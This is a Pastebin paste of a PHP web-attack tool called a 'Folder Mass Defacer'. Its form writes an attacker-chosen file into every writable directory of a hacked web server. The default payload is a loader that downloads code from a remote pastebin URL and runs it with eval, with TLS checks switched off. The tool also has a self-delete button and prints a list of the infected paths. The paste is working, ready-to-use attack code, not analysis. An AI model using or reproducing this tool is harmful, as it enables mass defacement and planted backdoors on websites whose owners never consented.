Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "<title>Folder Mass Defacer by Noza Verda</title>";
- echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
- echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
- echo "<center><form method='POST'>";
- echo "<img src=''>
- <input type='submit' name='submit2' value='Kill me'><br><a href='https://pastebin.com/raw/CVZFuPJH' target='_blank' >leaf script</a><br><hr color='black'><font color='black'>Target Folder</font><br>
- <input type='text' style='color:lime;background-color:#000000' size='60' name='base_dir' value='".getcwd ()."'><br><br>";
- echo "<font color='black'>Name of File</font><br><input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='andela' value='haeder.php'><br>";
- echo "<br>";
- echo "<font color=\'black\'>deface type</font><br><select name='type'>
- <option value='all'>All Dirs</option>
- <option value='one'>One Dir</option>
- </select><br>";
- echo '<font color=\'black\'>Script Deface</font><br><textarea cols=\'80\' rows=\'15\' style=\'color:lime;background-color:#000000;background-image:url();\' name=\'index\'><?php
- function get_contents($url){
- $ch = curl_init("$url");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- $result = curl_exec($ch);
- return $result;
- }
- $a = get_contents(\'https://pastebin.com/raw/jSgHb1RR\');
- eval(\'?>\'.$a);</textarea><br>';
- echo "<input type='submit' name='submit' value='Submit'></form></center><br>";
- if(isset($_POST['submit2'])){
- $file = './m2.php';
- if (file_exists($file)) {
- unlink($file);
- } else {
- echo' File not found.';
- }
- }elseif (isset ($_POST['submit']))
- {
- echo "<h4>rzlts: </h4>";
- echo "<textarea rows='20' cols='90'>";
- function sabun_massal($dir,$namafile,$isi_script,$type) {
- ini_set('display_errors', 0);
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- file_put_contents($lokasi, $isi_script);
- if($type=='all'){
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- }
- if($_POST['type']=='all'){
- sabun_massal($_POST['base_dir'],$_POST['andela'],$_POST['index'],'all');
- }else{
- sabun_massal($_POST['base_dir'],$_POST['andela'],$_POST['index'],'one');
- }
- if (!file_exists ($_POST['base_dir']))
- die ($_POST['base_dir']." Not Found !<br>");
- if (!is_dir ($_POST['base_dir']))
- die ($_POST['base_dir']." Is Not A Directory !<br>");
- @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
- $files = @scandir ($_POST['base_dir']) or die ("Fuck -_- <br>");
- foreach ($files as $file):
- if ($file != "." && $file != ".." && @filetype ($file) == "dir")
- {
- $index = getcwd ()."/".$file."/".$_POST['andela'];
- if(file_exists($index)){
- echo "http://".$file."/".$_POST['andela']."\n";
- }
- }
- endforeach;
- }
- echo "</textarea>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement